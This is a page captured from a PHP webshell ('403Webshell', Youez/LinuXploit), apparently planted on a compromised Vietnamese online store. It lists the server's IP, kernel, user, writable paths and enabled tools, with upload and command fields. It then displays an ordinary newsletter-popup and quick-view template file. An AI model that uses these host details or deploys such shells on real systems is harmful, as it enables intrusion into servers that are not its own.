403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.74
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/namduongmarket.com-bk/public_html/site/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/namduongmarket.com-bk/public_html/site/views/popup-home.php
<button id="popup-btn"></button>
<div id="popup-subscribe" class="popup" style="display: none;"> 
    <!-- Modal content -->
    <div id="popup-modal" class="popup-content  animate down"> <span class="close-popup"> <i class="fa fa-times" aria-hidden="true"></i> </span>
        <div class="grid">
            <div class="grid__item push--large--one-half large--six-twelfths medium--one-whole small--one-whole">
                <div class="popup-wrapper">
                    <div class="popup-title"> ĐĂNG KÝ NHẬN TIN NGAY HÔM NAY </div>
                    <div class="popup-desc"> Suplo hứa sẽ không gửi những mail với nội dung không quan trọng hoặc spam. Các bạn là người đầu tiên biết được về: </div>
                    <div class="popup-list">
                        <ul class="no-bullets">
                            <li> Các sản phẩm khuyến mại với mức giá không thể thấp hơn. </li>
                            <li> Tin tức mới nhất về các sản phẩm mới, sản phẩm hot, flash sale, hot deal, ... </li>
                            <li> Các sản phẩm khuyến mại với mức giá không thể thấp hơn. </li>
                            <li> Tin tức mới nhất về các sản phẩm mới, sản phẩm hot, flash sale, hot deal, ... </li>
                        </ul>
                    </div>
                    <div class="popup-form">
                        <div class="form-desc"> Đăng ký: </div>
                        <form accept-charset="UTF-8" action="/account/contact" class="contact-form" method="post">
                            <input name="form_type" type="hidden" value="customer">
                            <input name="utf8" type="hidden" value="✓">
                            <div class="input-group">
                                <input type="email" value="" placeholder="Nhập email của bạn..." name="contact[email]" id="Email" class="input-group-field" aria-label="email@example.com">
                                <input type="hidden" name="contact[tags]" value="newsletter">
                                <button type="submit" name="subscribe" id="subscribe" value="GỬI"> <i class="fab fa-telegram-plane"></i> </button>
                                <div> 
                                    <a href="https://www.facebook.com/SuploTeam/" class="popup-social-network" target="_blank"> <i class="fab fa-facebook-f"></i> </a> 
                                    <a href="https://plus.google.com/" class="popup-social-network" target="_blank"> <i class="fab fa-google-plus-g"></i> </a> 
                                    <a href="https://www.instagram.com/" class="popup-social-network" target="_blank"> <i class="fab fa-instagram"></i> </a> 
                                    <a href="https://twitter.com/" class="popup-social-network" target="_blank"> <i class="fab fa-twitter"></i> </a> 
                                    <a href="https://www.youtube.com/" class="popup-social-network" target="_blank"> <i class="fab fa-youtube"></i> </a> 
                                    <a href="https://vn.linkedin.com/" class="popup-social-network" target="_blank"> <i class="fab fa-linkedin-in"></i> </a> 
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
<script language="javascript">
	var modal = document.getElementById('popup-subscribe');
	var span = document.getElementsByClassName("close-popup")[0];
	
	var btn = document.getElementById("popup-btn");
	btn.onclick = function() {
		modal.style.display = "block";
		setTimeout(function(){
			$('#popup-modal').addClass('show');
		}, 500)
	}
	span.onclick = function() {
		hidePopupSub(modal)
	}
	
	window.onclick = function(event) {
		if (event.target == modal) {
			hidePopupSub(modal)
		} 
	}
	function hidePopupSub(modal){
		$('#popup-modal').removeClass('show');
		setTimeout(function(){
			modal.style.display = "none";
		}, 500)
	}
</script>
<script>
$(document).ready(function(){
	var date = new Date();
	var minutes = 60;
	date.setTime(date.getTime() + (minutes * 60 * 1000));

	if (getCookie('popupNewLetterStatus') != 'closed') {
		$('#popup-btn').trigger('click');
		setCookie('popupNewLetterStatus', 'closed', date);
	};
})
</script>
<style>
	.modal {
	display: none;
	position: fixed;
	z-index: 99999;
	left: 0;
	top: 0;
	width: 100%;
	height: 100%;
	overflow: hidden; 
	background-color: rgb(0,0,0);
	background-color: rgba(0,0,0,0.4);
	transtion: all .5s;
	}

	.modal-content {
	background-color: #fefefe;
	margin: 5% auto; 
	padding: 20px;
	border: 1px solid #888;
	width: 80%;
	max-width: 780px;
	transform: translatey(-30px);
	transition: all .5s;
	}

	.close {
	color: #aaa;
	font-size: 28px;
	font-weight: bold;
	position: absolute;
	right: 0;
	top: 0;
	width: 40px;
	text-align: center;
	}

	.close:hover,
	.close:focus {
	color: black;
	text-decoration: none;
	cursor: pointer;
	}
</style>
<div class="modal" id="productQuickView">
	<div class="modal-content">
		<span id="close" class="close">×</span>
		<form class="grid" id="form-quick-view">
			<div class="grid__item large--five-tenths">
				<div class="image-zoom">
					<img id="p-product-image-feature" class="p-product-image-feature" src="">
					<div id="p-sliderproduct" class="flexslider">
						<ul class="slides"></ul>
					</div>
				</div>
			</div>
			<div class="grid__item large--five-tenths pull-right">
				<h4 class="p-title   modal-title " id="">Tên sản phẩm</h4>
				<p class="product-more-info">
					<span class="product-sku">
						Mã sản phẩm: <span id="ProductSku">01923123</span> 
					</span>
				</p>
				<div class="form-input product-price-wrapper">
					<div class="product-price">
						<span class="p-price "></span>
						<del></del>
					</div>
					<em id="PriceSaving"></em>
				</div>
				<div class="p-option-wrapper">
					<select name="id" class="" id="p-select-quickview"></select>
				</div>
				<div id="swatch-quick-view" class="select-swatch">

				</div>
				<div class="form-input hidden">
					<label>Số lượng</label>
					
  
    <div class="js-qty">
      <button type="button" class="js-qty__adjust js-qty__adjust--minus icon-fallback-text" data-id="" data-qty="0">
        <span class="icon icon-minus" aria-hidden="true"></span>
        <span class="fallback-text" aria-hidden="true">−</span>
        <span class="visually-hidden">Giảm số lượng sản phẩm đi 1</span>
      </button>
      <input type="number" class="js-qty__num" value="1" min="1" data-id="" aria-label="quantity" pattern="[0-9]*" name="quantity" id="">
      <button type="button" class="js-qty__adjust js-qty__adjust--plus icon-fallback-text" data-id="" data-qty="11">
        <span class="icon icon-plus" aria-hidden="true"></span>
        <span class="fallback-text" aria-hidden="true">+</span>
        <span class="visually-hidden">Tăng số lượng sản phẩm lên 1</span>
      </button>
    </div>
  
  
				</div>

				<div class="form-input" style="width: 100%">
					<button type="submit" class="btn btn-addcart" id="AddToCardQuickView">Thêm vào giỏ</button>
					<button disabled="" class="btn btn-soldout">Hết hàng</button>
					<div class="qv-readmore">
						<span> hoặc </span><a class="read-more p-url" href="" role="button">Xem chi tiết</a>
					</div>
				</div>
			</div>
		</form>
	</div>
	<div id="loading"><div></div></div>
</div>
<script>
$('#AddToCardQuickView').on('click', function(e){
	e.preventDefault();
	jQuery.ajax({
		type: 'POST',
		url: '<?=site?>gio-hang.html/add.js',
		async : false,
		data: jQuery('#form-quick-view').serialize(),
		dataType: 'json',
		success: function() {
			$(".close").trigger('click');
			updateCart();
			updateCartModal();
		},
		error: function(XMLHttpRequest, textStatus) {
			Haravan.onError(XMLHttpRequest, textStatus);
		}
	});
});
var callBack = function (variant, selector) {
	if (variant) {
		modal = $('#productQuickView');
		$('.p-price').html(Haravan.formatMoney(variant.price, "{{amount}}₫"));
		if(variant.sku){
			$('#ProductSku').html(variant.sku);
			$('.product-sku').show();
		}else{
			$('.product-sku').hide();
		}
		if(variant.compare_at_price - variant.price > 0){
			$('#PriceSaving').html('(Bạn đã tích kiệm được ' + Haravan.formatMoney(variant.compare_at_price - variant.price, "{{amount}}₫")+')')
		}else{
			$('#PriceSaving').html('')
		}
		if (variant.compare_at_price > 0)
			modal.find('del').html(Haravan.formatMoney(variant.compare_at_price, "{{amount}}₫"));
		else
			modal.find('del').html('');
		if (variant.available) {
			modal.find('.btn-addcart').css('display', 'block');
			modal.find('.btn-soldout').css('display', 'none');
			if (variant.featured_image) {
				var newImg = variant.featured_image,
						el = $('.p-product-image-feature')[0];
				Haravan.Image.switchImage(newImg, el, timber.switchImage);
			}
			check_variant_quickview = true;
		}
		else {
			modal.find('.btn-addcart').css('display', 'none');
			modal.find('.btn-soldout').css('display', 'block');

		}
	}
	else {
		modal.find('.btn-addcart').css('display', 'none');
		modal.find('.btn-soldout').css('display', 'block');
		check_variant_quickview = false;

	}
}
var p_select_data = $('.p-option-wrapper').html();
var p_zoom = $('.image-zoom').html();
var quickViewProduct = function (purl) {

	if ($(window).width() < 680) { window.location = purl; return false; }
	modal = $('#productQuickView');
	$.ajax({
		url: purl + '.js',
		async: false,
		success: function (product) {
			$.each(product.options, function (i, v) {
				product.options[i] = v.name;
			})
			modal.find('.p-title').html(product.title);
			modal.find('.p-option-wrapper').html(p_select_data);
			modal.find('#swatch-quick-view').html('');
			$('.image-zoom').html(p_zoom);
			modal.find('.p-url').attr('href', product.url);

			$.each(product.variants, function (i, v) {
				modal.find('select#p-select-quickview').append("<option value='" + v.id + "'>" + v.title + ' - ' + v.price + "</option>");
			})
			if (product.variants.length == 1 && product.variants[0].title.indexOf('Default') != -1)
				$('.p-option-wrapper').hide();
			else
				$('.p-option-wrapper').show();
			if (product.variants.length == 1 && product.variants[0].title.indexOf('Default') != -1) {
				callBack(product.variants[0], null);
			}
			else {
				new Haravan.OptionSelectors("p-select-quickview", { product: product, onVariantSelected: callBack });
				if (product.options.length == 1 && product.options[0].indexOf('Tiêu đề')==-1)
					modal.find('.selector-wrapper:eq(0)').prepend('<label>' + product.options[0] + '</label>');
				$('.p-option-wrapper select:not(#p-select-quickview)').each(function () {
					$(this).wrap('<span class="custom-dropdown custom-dropdown--white"></span>');
					$(this).addClass("custom-dropdown__select custom-dropdown__select--white");
				});
				var filePath = window.file_url.substring(0, window.file_url.lastIndexOf('?'));
				var assetUrl = window.asset_url.substring(0, window.asset_url.lastIndexOf('?'));

				product.options.forEach(function(item){

				})
				var variantSwatch = '';
				for(var j = 0; j< product.options.length; j++){
					var option_index = j;
					var op_index_plus = option_index + 1;
					var swatch = product.options[option_index];
					variantSwatch += '<div id="variant-swatch-'+ option_index +'-quickview" class="swatch swatch-quick-view clearfix" data-option="option'+ op_index_plus +'" data-option-index="'+ option_index +'">';
					variantSwatch += '<div class="header"> '+ product.options[j]+' </div><div class="select-swap">';
					var is_color = false;
					if(product.options[j] == "Màu sắc" || product.options[j] == "Màu"){
						is_color = true;
					}					
					var values = '';
					for(var i = 0; i< product.variants.length; i++){
						var value = convertToSlug(product.variants[i].options[option_index]); //value handle :(
						var _value = product.variants[i].options[option_index];

						if(values.indexOf(value) < 0){
							values += ',';
							values += ',' + value;
							values = values.split(',');
							if(is_color){
								variantSwatch += '<div data-value="'+_value+'" class="n-sd swatch-element color '+ value;

							}else{
								variantSwatch += '<div data-value="'+_value+'" class="n-sd swatch-element '+ value;
							}

							if(option_index == 2){
								variantSwatch += 'variant-3">';
							}else{
								variantSwatch +='">';
							}

							variantSwatch += '<input class="variant-'+option_index+' input-quickview" id="qv-swatch-'+option_index+'-'+value+'" type="radio" name="option'+op_index_plus+'" value="'+_value+'"';
							if(j==0){
								variantSwatch += ' checked/>';
							}else{
								variantSwatch += ' />';
							}

							if(is_color){
								var img_url = '';
								if(product.variants[i].featured_image != null){
									img_url = Haravan.resizeImage(product.variants[i].featured_image.src, 'thumb');
								}
								if(img_url !== ''){
									if(img_url.indexOf('noDefaultImage6') < 0){
										variantSwatch += '<label class="'+value+' has-thumb" for="qv-swatch-'+option_index+'-'+value+'" style="background: url('+img_url+') top left no-repeat" >';
									}
								}
								//fix o day
								else{
									variantSwatch += 	'<label class="'+value+' no-thumb" for="qv-swatch-'+option_index+'-'+value+'">';
								}
								variantSwatch +='	<span>'+_value+'</span><img class="crossed-out" src="'+assetUrl+'soldout.png" /><img class="img-check" src="'+assetUrl+'select-pro.png" /></label>';

							}else{
								variantSwatch += '<label for="qv-swatch-'+option_index+'-'+value+'">'+ _value +'<img class="crossed-out" src="'+assetUrl+'soldout.png" /><img class="img-check" src="'+assetUrl+'select-pro.png" /></label>';
							}
							//console.log(variantSwatch);
							//console.log(product.variants[i])
							variantSwatch += '</div>';
						}
					}

					variantSwatch += '</div>';
					variantSwatch += '</div>';
				}

				modal.find('#swatch-quick-view').html(variantSwatch);

				callBack(product.variants[0], null);
				callFirstVariantQuickView();
			}
			if (product.images.length == 0) {
				modal.find('.p-product-image-feature').attr('src', '//hstatic.net/0/0/global/noDefaultImage6_large.gif');
			}
			else {
				$('#p-sliderproduct').remove();
				$('.image-zoom').append("<div id='p-sliderproduct'>");
				$('#p-sliderproduct').append("<ul class='owl-carousel inline-list'>");
				$.each(product.images, function (i, v) {
					elem = $('<li class="item">').append('<a href="#" data-image="" data-zoom-image=""><img /></a>');
					elem.find('a').attr('data-image', Haravan.resizeImage(v, 'medium'));
					elem.find('a').attr('data-zoom-image', Haravan.resizeImage(v, 'large'));
					elem.find('img').attr('data-image', Haravan.resizeImage(v, 'medium'));
					elem.find('img').attr('data-zoom-image',Haravan.resizeImage(v, 'large'));
					elem.find('img').attr('src', Haravan.resizeImage(v, 'medium'));
					modal.find('.owl-carousel').append(elem);
				});
				var owl = $('#p-sliderproduct .owl-carousel');
				owl.owlCarousel({
					items:3,
					navigation : true,
					navigationText :[navRightText, navLeftText]
				});
				$('#p-sliderproduct .owl-carousel .owl-item').first().children('.item').addClass('active');
				modal.find('.p-product-image-feature').attr('src', Haravan.resizeImage(product.featured_image, 'large') );
				$(".modal-footer .btn-readmore").attr('href', purl);
			}
		}
	});

	return false;
}
$('#productQuickView').on('click', '.item img', function (event) {
	event.preventDefault();
	modal = $('#quick-view-modal');
	modal.find('.p-product-image-feature').attr('src', $(this).attr('data-zoom-image'));
	modal.find('.item').removeClass('active');
	$(this).parents('li').addClass('active');
	return false;
});
$(function(){
	$('#close').click(function(){
		$('#productQuickView .modal-content').css('opacity', '0');
		$('#productQuickView .modal-content').css('transform', 'translateY(-30px)');
		$('#productQuickView').css('background-color', 'rgba(0,0,0,0)');
		setTimeout(function(){
			$('#productQuickView').hide();
		}, 500);
		document.getElementById("form-quick-view").reset();
	})
	window.onclick = function(event) {
		if (event.target == document.getElementById('productQuickView')) {
			$('#productQuickView .modal-content').css('opacity', '0');
			$('#productQuickView .modal-content').css('transform', 'translateY(-30px)');
			$('#productQuickView').css('background-color', 'rgba(0,0,0,0)');
			setTimeout(function(){
				$('#productQuickView').hide();
			}, 500);
			document.getElementById("form-quick-view").reset();
		}
	}
})
$(document).on("click",".quick-view", function(event){
	event.preventDefault();

	if(!quickViewProduct($(this).attr('data-handle'))){
		if ($(window).width() > 680) {
			$('#productQuickView .modal-content').css('opacity', '0');
			$('#productQuickView').show();
			$('#productQuickView').css('background-color', 'rgba(0,0,0,0.4)');
			$('#loading').show();

			var images = $("#productQuickView img");
			var loadedImgNum = 0;

			images.on('load', function(){
				loadedImgNum += 1;
				if (loadedImgNum == images.length) {
					var topPQZ =  ($('#productQuickView').height() - $('.modal-content').height())/2;
					$('#loading').hide();
					$('#productQuickView .modal-content').css('opacity', '1');
					$('#productQuickView .modal-content').css('transform', 'translateY(0)');
					$('#productQuickView .modal-content').css('margin-top', topPQZ - 50);
				}
			});
		}
		$('#p-sliderproduct a').on('click', function(evt) {
			evt.preventDefault();
			var newImage = $(this).data('zoom-image');
			$('.p-product-image-feature').attr('src', newImage);
		});
	}
});
function callFirstVariantQuickView(){
	var _chage = '';
	$('#productQuickView .swatch-element[data-value="'+$('.selector-wrapper .single-option-selector').eq(0).val()+'"]').find('input').click();
	$('#productQuickView .swatch-element[data-value="'+$('.selector-wrapper .single-option-selector').eq(1).val()+'"]').find('input').click();
	if(swatch_size == 2){
		var _avi_op1 = '';
		var _avi_op2 = '';
		var _count = $('#variant-swatch-1-quickview .swatch-element').size();
		$('#variant-swatch-0-quickview .swatch-element').each(function(ind,value){
			var _key = $(this).data('value');
			var _unavi = 0;
			$('#productQuickView .single-option-selector').eq(0).val(_key).change();
			$('#variant-swatch-1-quickview .swatch-element').each(function(i,v){
				var _val = $(this).data('value');
				$('#productQuickView .single-option-selector').eq(1).val(_val).change();
				if(check_variant_quickview == true){
					if(_avi_op1 == ''){
						_avi_op1 = _key;
					}
					if(_avi_op2 == ''){
						_avi_op2 = _val;
					}
				}else{
					_unavi += 1;
				}
			})
			if(_unavi == _count){
				$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_key+'"]').addClass('soldout');
				$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_key+'"]').find('input').attr('disabled','disabled');					
			}
		})
		$('#variant-swatch-1-quickview .swatch-element[data-value = "'+_avi_op2+'"] input').click();
		$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_avi_op1+'"] input').click();
	}else if(swatch_size == 3){
		var _avi_op1 = '';
		var _avi_op2 = '';
		var _avi_op3 = '';
		var _size_op2 = $('#variant-swatch-1-quickview .swatch-element').size();
		var _size_op3 = $('#variant-swatch-2-quickview .swatch-element').size();

		$('#variant-swatch-0-quickview .swatch-element').each(function(ind,value){
			var _key_va1 = $(this).data('value');
			var _count_unavi = 0;
			$('#productQuickView .single-option-selector').eq(0).val(_key_va1).change();
			$('#variant-swatch-1-quickview .swatch-element').each(function(i,v){
				var _key_va2 = $(this).data('value');
				var _unavi_2 = 0;
				$('#productQuickView .single-option-selector').eq(1).val(_key_va2).change();
				$('#variant-swatch-2-quickview .swatch-element').each(function(j,z){
					var _key_va3 = $(this).data('value');
					$('#productQuickView .single-option-selector').eq(2).val(_key_va3).change();
					if(check_variant_quickview == true){
						if(_avi_op1 == ''){
							_avi_op1 = _key_va1;
						}
						if(_avi_op2 == ''){
							_avi_op2 = _key_va2;
						}
						if(_avi_op3 == ''){
							_avi_op3 = _key_va3;
						}
					}else{
						_unavi_2 += 1;
					}
				})
				if(_unavi_2 == _size_op3){
					_count_unavi += 1;
				}
			})
			if(_size_op2 == _count_unavi){
				$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_key_va1+'"]').addClass('soldout');
				$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_key_va1+'"]').find('input').attr('disabled','disabled');					
			}
		})
		$('#variant-swatch-0-quickview .swatch-element[data-value = "'+_avi_op1+'"] input').click();
	}
	var img_ = $('#variant-swatch-0-quickview .swatch-element[data-value = "'+_avi_op1+'"] input').data('img-src');
}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit